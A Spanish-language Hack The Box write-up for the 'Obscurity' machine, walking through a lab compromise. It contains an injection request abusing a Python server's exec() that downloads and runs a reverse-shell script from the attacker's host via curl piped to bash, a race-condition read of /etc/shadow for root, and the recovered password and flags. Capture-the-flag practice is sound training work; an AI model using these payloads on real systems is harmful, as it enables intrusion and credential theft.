f4d3

f4d3

InfoSec enthusiast | pwn | RE | CTF | BugBounty

HTB{obscurity}

Summary

Buena máquina.
Usuario: Hay que encontar el código fuente de un http server hecho en python, el cual tiene un eval que se puede abusar via URL, Luego, hay que explotar script el cual se encarga hacer el encrypt de archivos, de acá sacamos una passphrase.
Root: Explotando una condición de carrera en una implementación en python de un SSH-server.

Recon

toor@Kali:~/Documentos/hackthebox/machines/obscurity$ cat nmap_ap.txt                            
# Nmap 7.80 scan initiated Thu Jan 30 23:47:31 2020 as: nmap -v -A -T5 -sC -sV -o nmap_ap.txt 10.10.10.168
Nmap scan report for obscurity.htb (10.10.10.168)                                                
Host is up (0.20s latency).                                                                      
Not shown: 996 filtered ports                                                                    
PORT     STATE  SERVICE    VERSION                                                               
22/tcp   open   ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)          
| ssh-hostkey:                                                                                   
|   2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)                                   
|   256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)                                  
|_  256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)                                
80/tcp   closed http                                                                             
8080/tcp open   http-proxy BadHTTPServer   

Si entramos al 8080, obtenemos que la aplicación guarda el archivo SuperSecureServer.py en un directorio “secreto”, lo fuzzeamos

user.txt

import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
"""
DOC_ROOT = "DocRoot"

CODES = {"200": "OK",
        "304": "NOT MODIFIED",
        "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND",
        "500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg",
        "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2",
        "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}


class Response:
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)
        now = datetime.now()
        self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
    def stringResponse(self):
        return respTemplate.format(**self.__dict__)

class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except:
            self.good = False

    def parseRequest(self, request):        
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}


class Server:
    def __init__(self, host, port):    
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()

    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the recieved data
                    req = Request(data.decode())
                    self.handleRequest(req, client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False

    def handleRequest(self, request, conn, address):
        if request.good:
#            try:
                # print(str(request.method) + " " + str(request.doc), end=' ')
                # print("from {0}".format(address[0]))
#            except Exception as e:
#                print(e)
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]

        statusCode=CODES[statusNum]
        dateSent = ""
        server = "BadHTTPServer"
        modified = ""
        length = len(body)
        contentType = document["mime"] # Try and identify MIME type from string
        connectionType = "Closed"


        resp = Response(
        statusNum=statusNum, statusCode=statusCode,
        dateSent = dateSent, server = server,
        modified = modified, length = length,
        contentType = contentType, connectionType = connectionType,
        body = body
        )

        data = resp.stringResponse()
        if not data:
            return -1
        conn.send(data.encode())
        return 0

    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "r") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:
            print(e)
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "r") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}

Que es, básicamente, un webserver hecho en python. :D

Podemos ver que hay un “exec” el cual podemos abusar, el procedimiento será, cerrar la comilla, inyectar nuestro payload, y luego comentar lo que sigue, exec tomará el string y lo interpretará.

GET /'%3bos.system('curl${IFS}10.10.14.24:8000/rev.sh|bash')# HTTP/1.1
Host: 10.10.10.168:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.168:8080/css/font-awesome.min.css
Connection: close


Una vez dentro, encontramos 4 archivos interesantes bajo el /home/robert, el cual sirve para encriptar archivos.


get_pw.py  own.py  passreminder.txt  pass.txt  password.py  rev.sh
toor@Kali:~/Documentos/hackthebox/machines/obscurity/user$ cat password.py
import sys
import argparse

def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted

def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted

parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')

parser.add_argument('-i',
                    metavar='InFile',
                    type=str,
                    help='The file to read',
                    required=False)

parser.add_argument('-o',
                    metavar='OutFile',
                    type=str,
                    help='Where to output the encrypted/decrypted file',
                    required=False)

parser.add_argument('-k',
                    metavar='Key',
                    type=str,
                    help='Key to use',
                    required=False)

parser.add_argument('-d', action='store_true', help='Decrypt mode')

args = parser.parse_args()

banner = "################################\n"
banner+= "#           BEGINNING          #\n"
banner+= "#    SUPER SECURE ENCRYPTOR    #\n"
banner+= "################################\n"
banner += "  ############################\n"
banner += "  #        FILE MODE         #\n"
banner += "  ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
    print("Missing args")
else:
    if args.d:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Decrypting...")
        decrypted = decrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(decrypted)
    else:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Encrypting...")
        encrypted = encrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(encrypted)

toor@Kali:~/Documentos/hackthebox/machines/obscurity/user$ python3 get_pw.py ^C


Podemos ver del script, que este encripta ese archivo de manera simétrica (XOR), con una llave del usuario, por tanto, haciendo la matemática inversa, podremos llegar a la passphrase con la cual se encryptó el archivo.

toor@Kali:~/Documentos/hackthebox/machines/obscurity/user$ cat own.py
import sys
import argparse
import string

def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        print(str(x))
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted

def decrypt(text, key,check):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    c = 0
    final_key = ""
    for x in text:
        for j in string.printable:
            newChr = ord(x)
            newChr = chr( (newChr - ord(j)) % 255  )
            if newChr == check[c]:
                final_key += j
                print("found one: {}!\n".format(j))
                break
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
        c = c + 1
    print(final_key)
    return decrypted




with open('pass.txt') as a:
    b = a.read().strip()

#with open('/usr/share/wordlists/rockyou.txt') as a:
#    rock = a.read().split('\n')

#for k in rock:
#    print(k)
ba = bytearray.fromhex(b).decode()
print (ba)
check = """Encrypting this file with your key should result in out.txt, make sure your key is correct!
"""
print(ba)
decrypt(ba,"asdfasdasfaf",check)


#for k in ba:


Con este pequeño script, logré sacar la passphrase que usó el usuario para encriptar el archivo en cuestión.

Con esta passphrase, podremos hacer el decrypt del archivo passwordreminder.txt, ya que esta, no funcionó como password del usuario.

toor@Kali:~/Documentos/hackthebox/machines/obscurity/user$ cat get_pw.py
import sys
import argparse
import string

def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        print(str(x))
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted

def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    c = 0
    final_key = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
        c = c + 1
    print (decrypted)
    return decrypted




with open('passreminder.txt') as a:
    b = a.read().strip()

#with open('/usr/share/wordlists/rockyou.txt') as a:
#    rock = a.read().split('\n')

#for k in rock:
#    print(k)
ba = bytearray.fromhex(b).decode()
print (ba)
check = """Encrypting this file with your key should result in out.txt, make sure your key is correct!
"""
print(ba)
decrypt(ba,"alexandrovich")


#for k in ba:

modificando un poco el script, podremos obtener finalmente, la password del usuario.

SecThruObsFTW

user.txt:e4493782066b55fe2755708736ada2d7

root.txt

De aquí, podemos ver que tendremos permisos de sudo bajo un archivo:

robert@obscure:~/BetterSSH$ sudo -l
Matching Defaults entries for robert on obscure:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User robert may run the following commands on obscure:
    (ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
robert@obscure:~/BetterSSH$


robert@obscure:~/BetterSSH$ cat BetterSSH.py
import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess

path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")

    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
    time.sleep(.1)
    salt = ""
    realPass = ""
    for p in passwords:
        if p[0] == session['user']:
            salt, realPass = p[1].split('$')[2:]
            break

    if salt == "":
        print("Invalid user")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    salt = '$6$'+salt+'$'
    realPass = salt + realPass

    hash = crypt.crypt(passW, salt)

    if hash == realPass:
        print("Authed!")
        session['authenticated'] = 1
    else:
        print("Incorrect pass")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
    traceback.print_exc()
    sys.exit(0)

if session['authenticated'] == 1:
    while True:
        command = input(session['user'] + "@Obscure$ ")
        cmd = ['sudo', '-u',  session['user']]
        cmd.extend(command.split(" "))
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        o,e = proc.communicate()
        print('Output: ' + o.decode('ascii'))
        print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')
robert@obscure:~/BetterSSH$


Poniento atención, el script abre el /etc/shadow, y lo copia temporalmente en /tmp/SSH, si somos lo suficientemente rápidos, podremos leero:

EZ !

Crackeando esto, obtenemos la password del root.

robert@obscure:~/BetterSSH$ su -
Password:
root@obscure:~# id
uid=0(root) gid=0(root) groups=0(root)
root@obscure:~# ls -la
total 68
drwx------  6 root root  4096 Nov 26 16:36 .
drwxr-xr-x 24 root root  4096 Oct  3 15:52 ..
lrwxrwxrwx  1 root root     9 Sep 28 23:30 .bash_history -> /dev/null
-rw-r--r--  1 root root  3106 Apr  9  2018 .bashrc
drwx------  2 root root  4096 Sep 29 10:52 .cache
drwx------  3 root root  4096 Sep 29 10:52 .gnupg
-rw-------  1 root root    32 Nov 26 14:01 .lesshst
drwxr-xr-x  3 root root  4096 Oct  3 15:52 .local
-rw-r--r--  1 root root   148 Aug 17  2015 .profile
-rw-------  1 root root    86 Nov 26 16:15 .python_history
-rw-r--r--  1 root root    33 Sep 25 21:28 root.txt
-rw-r--r--  1 root root    66 Nov 26 14:30 .selected_editor
drwx------  2 root root  4096 Sep 24 22:09 .ssh
-rw-------  1 root root 16629 Nov 26 16:36 .viminfo
root@obscure:~# cat root.txt
512fd4429f33a113a44d5acde23609e3
root@obscure:~#


root.txt:512fd4429f33a113a44d5acde23609e3